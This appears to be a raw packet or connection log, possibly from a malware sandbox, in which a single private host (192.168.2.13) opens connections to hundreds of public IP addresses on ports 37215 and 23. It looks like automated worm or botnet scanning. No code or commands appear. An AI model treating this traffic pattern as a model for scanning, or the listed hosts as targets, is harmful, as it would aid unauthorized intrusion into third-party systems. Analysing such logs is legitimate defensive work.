Dec 3, 2024 21:47:23.098824978 CET	34043	37215	192.168.2.13	41.138.11.158
Dec 3, 2024 21:47:23.098829031 CET	34043	37215	192.168.2.13	197.246.53.150
Dec 3, 2024 21:47:23.098838091 CET	34043	37215	192.168.2.13	156.247.29.21
Dec 3, 2024 21:47:23.098845005 CET	34043	37215	192.168.2.13	197.144.213.110
Dec 3, 2024 21:47:23.098850965 CET	34043	37215	192.168.2.13	41.254.241.122
Dec 3, 2024 21:47:23.098861933 CET	34043	37215	192.168.2.13	41.46.23.162
Dec 3, 2024 21:47:23.098867893 CET	34043	37215	192.168.2.13	156.246.38.206
Dec 3, 2024 21:47:23.098880053 CET	34043	37215	192.168.2.13	41.93.168.135
Dec 3, 2024 21:47:23.098882914 CET	34043	37215	192.168.2.13	41.160.188.187
Dec 3, 2024 21:47:23.098891973 CET	34043	37215	192.168.2.13	41.176.234.13
Dec 3, 2024 21:47:23.098891973 CET	34043	37215	192.168.2.13	197.110.115.172
Dec 3, 2024 21:47:23.098898888 CET	34043	37215	192.168.2.13	156.148.155.149
Dec 3, 2024 21:47:23.098901987 CET	34043	37215	192.168.2.13	156.219.40.26
Dec 3, 2024 21:47:23.098905087 CET	34043	37215	192.168.2.13	197.66.54.6
Dec 3, 2024 21:47:23.098912954 CET	34043	37215	192.168.2.13	197.190.56.198
Dec 3, 2024 21:47:23.098921061 CET	34043	37215	192.168.2.13	156.132.198.84
Dec 3, 2024 21:47:23.098928928 CET	34043	37215	192.168.2.13	41.100.89.105
Dec 3, 2024 21:47:23.098934889 CET	34043	37215	192.168.2.13	197.176.67.5
Dec 3, 2024 21:47:23.098943949 CET	34043	37215	192.168.2.13	197.251.50.32
Dec 3, 2024 21:47:23.098957062 CET	34043	37215	192.168.2.13	156.10.211.119
Dec 3, 2024 21:47:23.098958015 CET	34043	37215	192.168.2.13	156.80.118.213
Dec 3, 2024 21:47:23.098959923 CET	34043	37215	192.168.2.13	197.227.165.93
Dec 3, 2024 21:47:23.098973989 CET	34043	37215	192.168.2.13	156.183.10.12
Dec 3, 2024 21:47:23.098977089 CET	34043	37215	192.168.2.13	156.11.215.181
Dec 3, 2024 21:47:23.098980904 CET	34043	37215	192.168.2.13	156.125.181.68
Dec 3, 2024 21:47:23.098988056 CET	34043	37215	192.168.2.13	41.195.130.75
Dec 3, 2024 21:47:23.099004030 CET	34043	37215	192.168.2.13	197.237.152.68
Dec 3, 2024 21:47:23.099006891 CET	34043	37215	192.168.2.13	197.20.193.18
Dec 3, 2024 21:47:23.099006891 CET	34043	37215	192.168.2.13	156.195.101.75
Dec 3, 2024 21:47:23.099016905 CET	34043	37215	192.168.2.13	156.194.185.95
Dec 3, 2024 21:47:23.099020004 CET	34043	37215	192.168.2.13	156.1.239.93
Dec 3, 2024 21:47:23.099033117 CET	34043	37215	192.168.2.13	197.251.91.212
Dec 3, 2024 21:47:23.099033117 CET	34043	37215	192.168.2.13	197.18.206.57
Dec 3, 2024 21:47:23.099040985 CET	34043	37215	192.168.2.13	156.0.63.66
Dec 3, 2024 21:47:23.099045992 CET	34043	37215	192.168.2.13	41.44.163.88
Dec 3, 2024 21:47:23.099059105 CET	34043	37215	192.168.2.13	41.50.237.15
Dec 3, 2024 21:47:23.099062920 CET	34043	37215	192.168.2.13	41.32.184.240
Dec 3, 2024 21:47:23.099067926 CET	34043	37215	192.168.2.13	197.163.99.119
Dec 3, 2024 21:47:23.099071980 CET	34043	37215	192.168.2.13	197.110.255.11
Dec 3, 2024 21:47:23.099081039 CET	34043	37215	192.168.2.13	41.180.48.161
Dec 3, 2024 21:47:23.099083900 CET	34043	37215	192.168.2.13	197.16.191.244
Dec 3, 2024 21:47:23.099092007 CET	34043	37215	192.168.2.13	156.127.203.14
Dec 3, 2024 21:47:23.099102974 CET	34043	37215	192.168.2.13	197.44.55.163
Dec 3, 2024 21:47:23.099104881 CET	34043	37215	192.168.2.13	41.255.176.204
Dec 3, 2024 21:47:23.099124908 CET	34043	37215	192.168.2.13	41.57.177.108
Dec 3, 2024 21:47:23.099124908 CET	34043	37215	192.168.2.13	197.132.214.63
Dec 3, 2024 21:47:23.099129915 CET	34043	37215	192.168.2.13	41.214.74.10
Dec 3, 2024 21:47:23.099131107 CET	34043	37215	192.168.2.13	41.103.17.139
Dec 3, 2024 21:47:23.099131107 CET	34043	37215	192.168.2.13	41.230.4.15
Dec 3, 2024 21:47:23.099139929 CET	34043	37215	192.168.2.13	197.43.65.165
Dec 3, 2024 21:47:23.099139929 CET	34043	37215	192.168.2.13	197.91.15.33
Dec 3, 2024 21:47:23.099143982 CET	34043	37215	192.168.2.13	156.239.240.5
Dec 3, 2024 21:47:23.099143982 CET	34043	37215	192.168.2.13	156.157.77.103
Dec 3, 2024 21:47:23.099147081 CET	34043	37215	192.168.2.13	41.27.76.67
Dec 3, 2024 21:47:23.099147081 CET	34043	37215	192.168.2.13	156.61.194.120
Dec 3, 2024 21:47:23.099150896 CET	34043	37215	192.168.2.13	197.19.214.247
Dec 3, 2024 21:47:23.099169016 CET	34043	37215	192.168.2.13	156.34.200.7
Dec 3, 2024 21:47:23.099601030 CET	48946	23	192.168.2.13	202.75.144.168
Dec 3, 2024 21:47:23.100156069 CET	36204	23	192.168.2.13	158.197.67.124
Dec 3, 2024 21:47:23.100707054 CET	57258	23	192.168.2.13	50.186.0.162
Dec 3, 2024 21:47:23.101254940 CET	48196	23	192.168.2.13	31.246.182.137
Dec 3, 2024 21:47:23.101810932 CET	60506	23	192.168.2.13	114.31.97.188
Dec 3, 2024 21:47:23.102366924 CET	47456	23	192.168.2.13	96.130.239.208
Dec 3, 2024 21:47:23.102941990 CET	42392	23	192.168.2.13	198.67.245.87
Dec 3, 2024 21:47:23.103558064 CET	56726	23	192.168.2.13	80.57.59.152
Dec 3, 2024 21:47:23.104120970 CET	56278	23	192.168.2.13	159.211.57.212
Dec 3, 2024 21:47:23.104749918 CET	38606	23	192.168.2.13	141.206.171.204
Dec 3, 2024 21:47:23.105324984 CET	36268	23	192.168.2.13	140.69.3.198
Dec 3, 2024 21:47:23.105920076 CET	55308	23	192.168.2.13	186.216.32.182
Dec 3, 2024 21:47:23.106525898 CET	49940	23	192.168.2.13	102.203.210.143
Dec 3, 2024 21:47:23.107098103 CET	41282	23	192.168.2.13	117.129.227.105
Dec 3, 2024 21:47:23.107656956 CET	35928	23	192.168.2.13	99.155.216.194
Dec 3, 2024 21:47:23.108244896 CET	40176	23	192.168.2.13	90.34.241.221
Dec 3, 2024 21:47:23.108819008 CET	58200	23	192.168.2.13	20.95.83.168
Dec 3, 2024 21:47:23.109380007 CET	44306	23	192.168.2.13	34.88.48.121
Dec 3, 2024 21:47:23.109961987 CET	51068	23	192.168.2.13	60.220.55.189
Dec 3, 2024 21:47:23.110523939 CET	48044	23	192.168.2.13	107.112.64.92
Dec 3, 2024 21:47:23.111098051 CET	49578	23	192.168.2.13	137.87.32.92
Dec 3, 2024 21:47:23.111691952 CET	43502	23	192.168.2.13	149.154.232.242
Dec 3, 2024 21:47:23.112282038 CET	42018	23	192.168.2.13	44.79.158.94
Dec 3, 2024 21:47:23.112855911 CET	36770	23	192.168.2.13	156.179.77.230
Dec 3, 2024 21:47:23.203592062 CET	23	40955	23.197.79.26	192.168.2.13
Dec 3, 2024 21:47:23.203607082 CET	23	40955	199.141.29.197	192.168.2.13
Dec 3, 2024 21:47:23.203620911 CET	23	40955	34.210.178.7	192.168.2.13
Dec 3, 2024 21:47:23.203633070 CET	23	40955	84.218.50.70	192.168.2.13
Dec 3, 2024 21:47:23.203711033 CET	40955	23	192.168.2.13	34.210.178.7
Dec 3, 2024 21:47:23.203716993 CET	40955	23	192.168.2.13	199.141.29.197
Dec 3, 2024 21:47:23.203720093 CET	40955	23	192.168.2.13	23.197.79.26
Dec 3, 2024 21:47:23.203721046 CET	40955	23	192.168.2.13	84.218.50.70
Dec 3, 2024 21:47:23.204457045 CET	23	40955	43.99.84.63	192.168.2.13
Dec 3, 2024 21:47:23.204468012 CET	23	40955	192.105.81.173	192.168.2.13
Dec 3, 2024 21:47:23.204477072 CET	23	40955	218.167.182.154	192.168.2.13
Dec 3, 2024 21:47:23.204485893 CET	23	40955	60.73.255.250	192.168.2.13
Dec 3, 2024 21:47:23.204499006 CET	23	40955	169.186.76.182	192.168.2.13
Dec 3, 2024 21:47:23.204510927 CET	40955	23	192.168.2.13	218.167.182.154
Dec 3, 2024 21:47:23.204515934 CET	40955	23	192.168.2.13	192.105.81.173
Dec 3, 2024 21:47:23.204515934 CET	40955	23	192.168.2.13	43.99.84.63
Dec 3, 2024 21:47:23.204519033 CET	23	40955	178.90.53.135	192.168.2.13
Dec 3, 2024 21:47:23.204528093 CET	40955	23	192.168.2.13	169.186.76.182
Dec 3, 2024 21:47:23.204533100 CET	23	40955	185.229.236.203	192.168.2.13
Dec 3, 2024 21:47:23.204533100 CET	40955	23	192.168.2.13	60.73.255.250
Dec 3, 2024 21:47:23.204546928 CET	23	40955	121.34.159.219	192.168.2.13
Dec 3, 2024 21:47:23.204561949 CET	23	40955	23.186.252.78	192.168.2.13
Dec 3, 2024 21:47:23.204596043 CET	40955	23	192.168.2.13	185.229.236.203
Dec 3, 2024 21:47:23.204602957 CET	40955	23	192.168.2.13	178.90.53.135
Dec 3, 2024 21:47:23.204603910 CET	23	40955	82.16.186.186	192.168.2.13
Dec 3, 2024 21:47:23.204605103 CET	40955	23	192.168.2.13	121.34.159.219
Dec 3, 2024 21:47:23.204618931 CET	23	40955	216.212.196.230	192.168.2.13
Dec 3, 2024 21:47:23.204626083 CET	40955	23	192.168.2.13	23.186.252.78
Dec 3, 2024 21:47:23.204632998 CET	23	40955	167.70.21.246	192.168.2.13
Dec 3, 2024 21:47:23.204641104 CET	40955	23	192.168.2.13	82.16.186.186
Dec 3, 2024 21:47:23.204647064 CET	23	40955	156.254.170.22	192.168.2.13
Dec 3, 2024 21:47:23.204648972 CET	40955	23	192.168.2.13	216.212.196.230
Dec 3, 2024 21:47:23.204662085 CET	23	40955	25.158.72.231	192.168.2.13
Dec 3, 2024 21:47:23.204668999 CET	40955	23	192.168.2.13	167.70.21.246
Dec 3, 2024 21:47:23.204680920 CET	40955	23	192.168.2.13	156.254.170.22
Dec 3, 2024 21:47:23.204689026 CET	23	40955	37.25.71.45	192.168.2.13
Dec 3, 2024 21:47:23.204703093 CET	23	40955	67.218.64.71	192.168.2.13
Dec 3, 2024 21:47:23.204701900 CET	40955	23	192.168.2.13	25.158.72.231
Dec 3, 2024 21:47:23.204711914 CET	23	40955	170.42.28.214	192.168.2.13
Dec 3, 2024 21:47:23.204720974 CET	40955	23	192.168.2.13	37.25.71.45
Dec 3, 2024 21:47:23.204731941 CET	23	40955	89.254.166.46	192.168.2.13
Dec 3, 2024 21:47:23.204739094 CET	40955	23	192.168.2.13	67.218.64.71
Dec 3, 2024 21:47:23.204744101 CET	23	40955	146.153.47.191	192.168.2.13
Dec 3, 2024 21:47:23.204761982 CET	23	40955	109.198.207.218	192.168.2.13
Dec 3, 2024 21:47:23.204766989 CET	40955	23	192.168.2.13	170.42.28.214
Dec 3, 2024 21:47:23.204772949 CET	40955	23	192.168.2.13	146.153.47.191
Dec 3, 2024 21:47:23.204781055 CET	23	40955	175.247.55.142	192.168.2.13
Dec 3, 2024 21:47:23.204782009 CET	40955	23	192.168.2.13	89.254.166.46
Dec 3, 2024 21:47:23.204792023 CET	40955	23	192.168.2.13	109.198.207.218
Dec 3, 2024 21:47:23.204811096 CET	40955	23	192.168.2.13	175.247.55.142
Dec 3, 2024 21:47:23.205094099 CET	23	40955	178.34.211.147	192.168.2.13
Dec 3, 2024 21:47:23.205106974 CET	23	40955	19.80.3.128	192.168.2.13
Dec 3, 2024 21:47:23.205116987 CET	23	40955	68.252.147.39	192.168.2.13
Dec 3, 2024 21:47:23.205127954 CET	40955	23	192.168.2.13	178.34.211.147
Dec 3, 2024 21:47:23.205132961 CET	23	40955	38.63.8.234	192.168.2.13
Dec 3, 2024 21:47:23.205141068 CET	40955	23	192.168.2.13	19.80.3.128
Dec 3, 2024 21:47:23.205146074 CET	23	40955	62.124.111.205	192.168.2.13
Dec 3, 2024 21:47:23.205152988 CET	40955	23	192.168.2.13	68.252.147.39
Dec 3, 2024 21:47:23.205159903 CET	23	40955	31.178.176.234	192.168.2.13
Dec 3, 2024 21:47:23.205166101 CET	40955	23	192.168.2.13	38.63.8.234
Dec 3, 2024 21:47:23.205173016 CET	23	40955	44.60.205.233	192.168.2.13
Dec 3, 2024 21:47:23.205185890 CET	40955	23	192.168.2.13	62.124.111.205
Dec 3, 2024 21:47:23.205188036 CET	23	40955	206.48.126.221	192.168.2.13
Dec 3, 2024 21:47:23.205199957 CET	23	40955	48.236.76.173	192.168.2.13
Dec 3, 2024 21:47:23.205202103 CET	40955	23	192.168.2.13	44.60.205.233
Dec 3, 2024 21:47:23.205210924 CET	40955	23	192.168.2.13	31.178.176.234
Dec 3, 2024 21:47:23.205214024 CET	23	40955	167.235.6.156	192.168.2.13
Dec 3, 2024 21:47:23.205219030 CET	40955	23	192.168.2.13	206.48.126.221
Dec 3, 2024 21:47:23.205226898 CET	40955	23	192.168.2.13	48.236.76.173
Dec 3, 2024 21:47:23.205228090 CET	23	40955	43.84.8.246	192.168.2.13
Dec 3, 2024 21:47:23.205239058 CET	40955	23	192.168.2.13	167.235.6.156
Dec 3, 2024 21:47:23.205251932 CET	23	40955	83.212.235.239	192.168.2.13
Dec 3, 2024 21:47:23.205254078 CET	40955	23	192.168.2.13	43.84.8.246
Dec 3, 2024 21:47:23.205291986 CET	40955	23	192.168.2.13	83.212.235.239
Dec 3, 2024 21:47:23.205413103 CET	23	40955	73.150.150.92	192.168.2.13
Dec 3, 2024 21:47:23.205425024 CET	23	40955	92.116.202.160	192.168.2.13
Dec 3, 2024 21:47:23.205439091 CET	23	40955	79.237.116.3	192.168.2.13
Dec 3, 2024 21:47:23.205446005 CET	40955	23	192.168.2.13	73.150.150.92
Dec 3, 2024 21:47:23.205451012 CET	23	40955	129.154.32.145	192.168.2.13
Dec 3, 2024 21:47:23.205456972 CET	40955	23	192.168.2.13	92.116.202.160
Dec 3, 2024 21:47:23.205463886 CET	23	40955	128.70.76.96	192.168.2.13
Dec 3, 2024 21:47:23.205466032 CET	40955	23	192.168.2.13	79.237.116.3
Dec 3, 2024 21:47:23.205476999 CET	23	40955	185.195.98.112	192.168.2.13
Dec 3, 2024 21:47:23.205477953 CET	40955	23	192.168.2.13	129.154.32.145
Dec 3, 2024 21:47:23.205491066 CET	40955	23	192.168.2.13	128.70.76.96
Dec 3, 2024 21:47:23.205497980 CET	23	40955	207.107.124.204	192.168.2.13
Dec 3, 2024 21:47:23.205504894 CET	40955	23	192.168.2.13	185.195.98.112
Dec 3, 2024 21:47:23.205513954 CET	23	40955	111.202.32.216	192.168.2.13
Dec 3, 2024 21:47:23.205523014 CET	23	40955	107.5.91.234	192.168.2.13
Dec 3, 2024 21:47:23.205532074 CET	40955	23	192.168.2.13	207.107.124.204
Dec 3, 2024 21:47:23.205539942 CET	40955	23	192.168.2.13	111.202.32.216
Dec 3, 2024 21:47:23.205547094 CET	23	40955	85.109.68.206	192.168.2.13
Dec 3, 2024 21:47:23.205554008 CET	40955	23	192.168.2.13	107.5.91.234
Dec 3, 2024 21:47:23.205565929 CET	23	40955	163.93.63.211	192.168.2.13
Dec 3, 2024 21:47:23.205575943 CET	23	40955	102.57.90.23	192.168.2.13
Dec 3, 2024 21:47:23.205585003 CET	40955	23	192.168.2.13	85.109.68.206
Dec 3, 2024 21:47:23.205595016 CET	40955	23	192.168.2.13	163.93.63.211
Dec 3, 2024 21:47:23.205595016 CET	23	40955	137.135.19.123	192.168.2.13
Dec 3, 2024 21:47:23.205607891 CET	23	40955	202.57.148.50	192.168.2.13
Dec 3, 2024 21:47:23.205610037 CET	40955	23	192.168.2.13	102.57.90.23
Dec 3, 2024 21:47:23.205624104 CET	23	40955	164.49.1.105	192.168.2.13
Dec 3, 2024 21:47:23.205626965 CET	40955	23	192.168.2.13	137.135.19.123
Dec 3, 2024 21:47:23.205635071 CET	40955	23	192.168.2.13	202.57.148.50
Dec 3, 2024 21:47:23.205642939 CET	23	40955	189.138.25.130	192.168.2.13
Dec 3, 2024 21:47:23.205651045 CET	40955	23	192.168.2.13	164.49.1.105
Dec 3, 2024 21:47:23.205674887 CET	40955	23	192.168.2.13	189.138.25.130
Dec 3, 2024 21:47:23.206024885 CET	23	40955	42.224.59.35	192.168.2.13
Dec 3, 2024 21:47:23.206038952 CET	23	40955	100.193.176.188	192.168.2.13
Dec 3, 2024 21:47:23.206053972 CET	23	40955	121.175.166.141	192.168.2.13
Dec 3, 2024 21:47:23.206060886 CET	40955	23	192.168.2.13	42.224.59.35
Dec 3, 2024 21:47:23.206067085 CET	23	40955	120.97.109.249	192.168.2.13
Dec 3, 2024 21:47:23.206068039 CET	40955	23	192.168.2.13	100.193.176.188
Dec 3, 2024 21:47:23.206083059 CET	23	40955	13.88.44.44	192.168.2.13
Dec 3, 2024 21:47:23.206084013 CET	40955	23	192.168.2.13	121.175.166.141
Dec 3, 2024 21:47:23.206096888 CET	23	40955	212.188.118.114	192.168.2.13
Dec 3, 2024 21:47:23.206099033 CET	40955	23	192.168.2.13	120.97.109.249
Dec 3, 2024 21:47:23.206110001 CET	23	40955	58.10.32.234	192.168.2.13
Dec 3, 2024 21:47:23.206110954 CET	40955	23	192.168.2.13	13.88.44.44
Dec 3, 2024 21:47:23.206125021 CET	40955	23	192.168.2.13	212.188.118.114
Dec 3, 2024 21:47:23.206126928 CET	23	40955	76.222.202.100	192.168.2.13
Dec 3, 2024 21:47:23.206139088 CET	23	40955	73.202.143.112	192.168.2.13
Dec 3, 2024 21:47:23.206139088 CET	40955	23	192.168.2.13	58.10.32.234
Dec 3, 2024 21:47:23.206151962 CET	23	40955	95.30.90.130	192.168.2.13
Dec 3, 2024 21:47:23.206157923 CET	40955	23	192.168.2.13	76.222.202.100
Dec 3, 2024 21:47:23.206166029 CET	23	40955	85.41.192.208	192.168.2.13
Dec 3, 2024 21:47:23.206177950 CET	40955	23	192.168.2.13	95.30.90.130
Dec 3, 2024 21:47:23.206180096 CET	23	40955	165.31.93.83	192.168.2.13
Dec 3, 2024 21:47:23.206191063 CET	23	40955	111.202.25.61	192.168.2.13
Dec 3, 2024 21:47:23.206202030 CET	23	40955	223.52.63.81	192.168.2.13
Dec 3, 2024 21:47:23.206207037 CET	40955	23	192.168.2.13	165.31.93.83
Dec 3, 2024 21:47:23.206223965 CET	40955	23	192.168.2.13	111.202.25.61
Dec 3, 2024 21:47:23.206223965 CET	40955	23	192.168.2.13	73.202.143.112
Dec 3, 2024 21:47:23.206227064 CET	40955	23	192.168.2.13	223.52.63.81
Dec 3, 2024 21:47:23.206238985 CET	40955	23	192.168.2.13	85.41.192.208
Dec 3, 2024 21:47:23.206512928 CET	23	51818	122.63.57.60	192.168.2.13
Dec 3, 2024 21:47:23.206566095 CET	51818	23	192.168.2.13	122.63.57.60
Dec 3, 2024 21:47:23.206832886 CET	40955	23	192.168.2.13	166.126.235.103
Dec 3, 2024 21:47:23.206835032 CET	40955	23	192.168.2.13	209.200.104.41
Dec 3, 2024 21:47:23.206835032 CET	40955	23	192.168.2.13	153.46.131.236
Dec 3, 2024 21:47:23.206842899 CET	40955	23	192.168.2.13	76.95.67.223
Dec 3, 2024 21:47:23.206851959 CET	40955	23	192.168.2.13	113.155.24.241
Dec 3, 2024 21:47:23.206857920 CET	40955	23	192.168.2.13	61.156.145.112
Dec 3, 2024 21:47:23.206862926 CET	40955	23	192.168.2.13	35.250.249.149
Dec 3, 2024 21:47:23.206872940 CET	40955	23	192.168.2.13	163.24.175.81
Dec 3, 2024 21:47:23.206873894 CET	40955	23	192.168.2.13	34.143.28.210
Dec 3, 2024 21:47:23.206883907 CET	40955	23	192.168.2.13	23.7.176.180
Dec 3, 2024 21:47:23.206892014 CET	40955	23	192.168.2.13	208.207.213.83
Dec 3, 2024 21:47:23.206901073 CET	40955	23	192.168.2.13	52.61.76.132
Dec 3, 2024 21:47:23.206907034 CET	40955	23	192.168.2.13	49.127.25.212
Dec 3, 2024 21:47:23.206918001 CET	40955	23	192.168.2.13	118.24.147.116
Dec 3, 2024 21:47:23.206918001 CET	40955	23	192.168.2.13	206.81.135.100
Dec 3, 2024 21:47:23.206919909 CET	40955	23	192.168.2.13	159.206.251.202
Dec 3, 2024 21:47:23.206935883 CET	40955	23	192.168.2.13	68.205.36.192
Dec 3, 2024 21:47:23.206937075 CET	40955	23	192.168.2.13	19.7.219.96
Dec 3, 2024 21:47:23.206940889 CET	40955	23	192.168.2.13	20.125.217.139
Dec 3, 2024 21:47:23.206943989 CET	40955	23	192.168.2.13	186.180.17.165
Dec 3, 2024 21:47:23.206944942 CET	40955	23	192.168.2.13	137.183.36.9
Dec 3, 2024 21:47:23.206944942 CET	40955	23	192.168.2.13	192.11.128.106
Dec 3, 2024 21:47:23.206944942 CET	40955	23	192.168.2.13	97.70.139.6
Dec 3, 2024 21:47:23.206953049 CET	40955	23	192.168.2.13	167.50.2.137
Dec 3, 2024 21:47:23.206968069 CET	40955	23	192.168.2.13	64.189.88.240
Dec 3, 2024 21:47:23.206969023 CET	40955	23	192.168.2.13	88.238.184.69
Dec 3, 2024 21:47:23.206969023 CET	40955	23	192.168.2.13	8.159.178.114
Dec 3, 2024 21:47:23.206969023 CET	40955	23	192.168.2.13	17.103.172.141
Dec 3, 2024 21:47:23.206973076 CET	40955	23	192.168.2.13	148.36.67.242
Dec 3, 2024 21:47:23.206978083 CET	40955	23	192.168.2.13	209.120.4.107
Dec 3, 2024 21:47:23.206979036 CET	40955	23	192.168.2.13	97.166.145.231
Dec 3, 2024 21:47:23.206979036 CET	40955	23	192.168.2.13	79.178.198.7
Dec 3, 2024 21:47:23.206984043 CET	40955	23	192.168.2.13	92.223.52.248
Dec 3, 2024 21:47:23.206995010 CET	40955	23	192.168.2.13	182.16.80.70
Dec 3, 2024 21:47:23.207001925 CET	40955	23	192.168.2.13	207.97.37.0
Dec 3, 2024 21:47:23.207005978 CET	40955	23	192.168.2.13	90.23.197.6
Dec 3, 2024 21:47:23.207017899 CET	40955	23	192.168.2.13	153.203.46.172
Dec 3, 2024 21:47:23.207026005 CET	40955	23	192.168.2.13	134.136.173.11
Dec 3, 2024 21:47:23.207027912 CET	40955	23	192.168.2.13	166.199.55.168
Dec 3, 2024 21:47:23.207031012 CET	40955	23	192.168.2.13	80.204.118.210
Dec 3, 2024 21:47:23.207037926 CET	40955	23	192.168.2.13	198.121.241.58
Dec 3, 2024 21:47:23.207037926 CET	40955	23	192.168.2.13	169.92.50.203
Dec 3, 2024 21:47:23.207048893 CET	40955	23	192.168.2.13	114.192.125.222
Dec 3, 2024 21:47:23.207056046 CET	40955	23	192.168.2.13	133.37.132.56
Dec 3, 2024 21:47:23.207057953 CET	40955	23	192.168.2.13	92.157.19.250
Dec 3, 2024 21:47:23.207075119 CET	40955	23	192.168.2.13	34.70.206.213
Dec 3, 2024 21:47:23.207075119 CET	40955	23	192.168.2.13	209.200.122.148
Dec 3, 2024 21:47:23.207077026 CET	40955	23	192.168.2.13	168.89.23.216
Dec 3, 2024 21:47:23.207082987 CET	40955	23	192.168.2.13	49.17.33.0
Dec 3, 2024 21:47:23.207084894 CET	40955	23	192.168.2.13	161.184.7.154
Dec 3, 2024 21:47:23.207087994 CET	40955	23	192.168.2.13	189.237.236.65
Dec 3, 2024 21:47:23.207093954 CET	40955	23	192.168.2.13	132.92.21.229
Dec 3, 2024 21:47:23.207101107 CET	40955	23	192.168.2.13	204.13.120.236
Dec 3, 2024 21:47:23.207103968 CET	40955	23	192.168.2.13	97.32.67.96
Dec 3, 2024 21:47:23.207113028 CET	40955	23	192.168.2.13	202.235.17.122
Dec 3, 2024 21:47:23.207118988 CET	40955	23	192.168.2.13	50.189.84.193
Dec 3, 2024 21:47:23.207124949 CET	40955	23	192.168.2.13	89.92.26.62
Dec 3, 2024 21:47:23.207134008 CET	40955	23	192.168.2.13	139.212.155.174
Dec 3, 2024 21:47:23.207134962 CET	40955	23	192.168.2.13	151.218.107.140
Dec 3, 2024 21:47:23.207140923 CET	40955	23	192.168.2.13	9.175.130.6
Dec 3, 2024 21:47:23.207150936 CET	40955	23	192.168.2.13	201.217.254.230
Dec 3, 2024 21:47:23.207154036 CET	40955	23	192.168.2.13	194.116.79.163
Dec 3, 2024 21:47:23.207154036 CET	40955	23	192.168.2.13	4.170.79.89
Dec 3, 2024 21:47:23.207160950 CET	40955	23	192.168.2.13	90.5.35.223
Dec 3, 2024 21:47:23.207174063 CET	40955	23	192.168.2.13	23.61.130.74
Dec 3, 2024 21:47:23.207180023 CET	40955	23	192.168.2.13	180.206.26.162
Dec 3, 2024 21:47:23.207182884 CET	40955	23	192.168.2.13	51.60.98.106
Dec 3, 2024 21:47:23.207194090 CET	40955	23	192.168.2.13	220.190.193.60
Dec 3, 2024 21:47:23.207201004 CET	40955	23	192.168.2.13	151.56.238.122
Dec 3, 2024 21:47:23.207202911 CET	40955	23	192.168.2.13	205.83.189.222
Dec 3, 2024 21:47:23.207215071 CET	40955	23	192.168.2.13	179.204.43.250
Dec 3, 2024 21:47:23.207226992 CET	40955	23	192.168.2.13	49.209.47.199
Dec 3, 2024 21:47:23.207226992 CET	40955	23	192.168.2.13	78.65.169.193
Dec 3, 2024 21:47:23.207236052 CET	40955	23	192.168.2.13	100.238.215.133
Dec 3, 2024 21:47:23.207237959 CET	40955	23	192.168.2.13	25.71.130.50
Dec 3, 2024 21:47:23.207247019 CET	40955	23	192.168.2.13	130.87.102.223
Dec 3, 2024 21:47:23.207248926 CET	40955	23	192.168.2.13	134.112.36.10
Dec 3, 2024 21:47:23.207256079 CET	40955	23	192.168.2.13	12.216.28.251
Dec 3, 2024 21:47:23.207257986 CET	40955	23	192.168.2.13	34.187.46.50
Dec 3, 2024 21:47:23.207263947 CET	40955	23	192.168.2.13	54.226.176.99
Dec 3, 2024 21:47:23.207272053 CET	40955	23	192.168.2.13	223.1.66.5
Dec 3, 2024 21:47:23.207283020 CET	40955	23	192.168.2.13	71.62.206.19
Dec 3, 2024 21:47:23.207284927 CET	40955	23	192.168.2.13	109.222.29.214
Dec 3, 2024 21:47:23.207288027 CET	40955	23	192.168.2.13	138.167.255.29
Dec 3, 2024 21:47:23.207289934 CET	40955	23	192.168.2.13	94.53.116.86
Dec 3, 2024 21:47:23.207310915 CET	40955	23	192.168.2.13	213.154.19.220
Dec 3, 2024 21:47:23.207318068 CET	40955	23	192.168.2.13	36.55.220.37
Dec 3, 2024 21:47:23.207319975 CET	40955	23	192.168.2.13	140.244.247.225
Dec 3, 2024 21:47:23.207318068 CET	40955	23	192.168.2.13	216.63.33.164
Dec 3, 2024 21:47:23.207324982 CET	40955	23	192.168.2.13	222.56.212.20
Dec 3, 2024 21:47:23.207324982 CET	40955	23	192.168.2.13	109.53.73.98
Dec 3, 2024 21:47:23.207326889 CET	40955	23	192.168.2.13	200.26.181.40
Dec 3, 2024 21:47:23.207329988 CET	40955	23	192.168.2.13	58.167.211.164
Dec 3, 2024 21:47:23.207329988 CET	40955	23	192.168.2.13	198.247.178.150
Dec 3, 2024 21:47:23.207339048 CET	40955	23	192.168.2.13	198.39.186.29
Dec 3, 2024 21:47:23.207340002 CET	40955	23	192.168.2.13	96.37.137.184
Dec 3, 2024 21:47:23.207350016 CET	40955	23	192.168.2.13	146.127.233.222
Dec 3, 2024 21:47:23.207353115 CET	40955	23	192.168.2.13	45.212.106.177
Dec 3, 2024 21:47:23.207353115 CET	40955	23	192.168.2.13	168.170.38.57
Dec 3, 2024 21:47:23.207360983 CET	40955	23	192.168.2.13	184.198.112.202
Dec 3, 2024 21:47:23.207376003 CET	40955	23	192.168.2.13	217.26.231.6
Dec 3, 2024 21:47:23.207380056 CET	40955	23	192.168.2.13	27.151.161.14
Dec 3, 2024 21:47:23.207381010 CET	40955	23	192.168.2.13	210.191.40.140
Dec 3, 2024 21:47:23.207385063 CET	40955	23	192.168.2.13	163.250.120.138
Dec 3, 2024 21:47:23.207386017 CET	40955	23	192.168.2.13	126.195.156.203
Dec 3, 2024 21:47:23.207396030 CET	40955	23	192.168.2.13	2.119.101.19
Dec 3, 2024 21:47:23.207431078 CET	40955	23	192.168.2.13	195.125.101.62
Dec 3, 2024 21:47:23.207432985 CET	40955	23	192.168.2.13	87.55.129.37
Dec 3, 2024 21:47:23.207432985 CET	40955	23	192.168.2.13	52.88.46.181
Dec 3, 2024 21:47:23.207433939 CET	40955	23	192.168.2.13	173.137.187.199
Dec 3, 2024 21:47:23.207433939 CET	40955	23	192.168.2.13	59.23.181.48
Dec 3, 2024 21:47:23.207433939 CET	40955	23	192.168.2.13	176.167.34.5
Dec 3, 2024 21:47:23.207434893 CET	40955	23	192.168.2.13	126.5.183.222
Dec 3, 2024 21:47:23.207434893 CET	40955	23	192.168.2.13	70.70.100.205
Dec 3, 2024 21:47:23.207446098 CET	40955	23	192.168.2.13	162.227.215.64
Dec 3, 2024 21:47:23.207446098 CET	40955	23	192.168.2.13	13.5.4.230
Dec 3, 2024 21:47:23.207447052 CET	40955	23	192.168.2.13	63.84.189.60
Dec 3, 2024 21:47:23.207452059 CET	40955	23	192.168.2.13	154.107.193.73
Dec 3, 2024 21:47:23.207452059 CET	40955	23	192.168.2.13	111.206.159.230
Dec 3, 2024 21:47:23.207452059 CET	40955	23	192.168.2.13	157.0.226.202
Dec 3, 2024 21:47:23.207453012 CET	40955	23	192.168.2.13	194.104.163.30
Dec 3, 2024 21:47:23.207453012 CET	40955	23	192.168.2.13	54.219.72.221
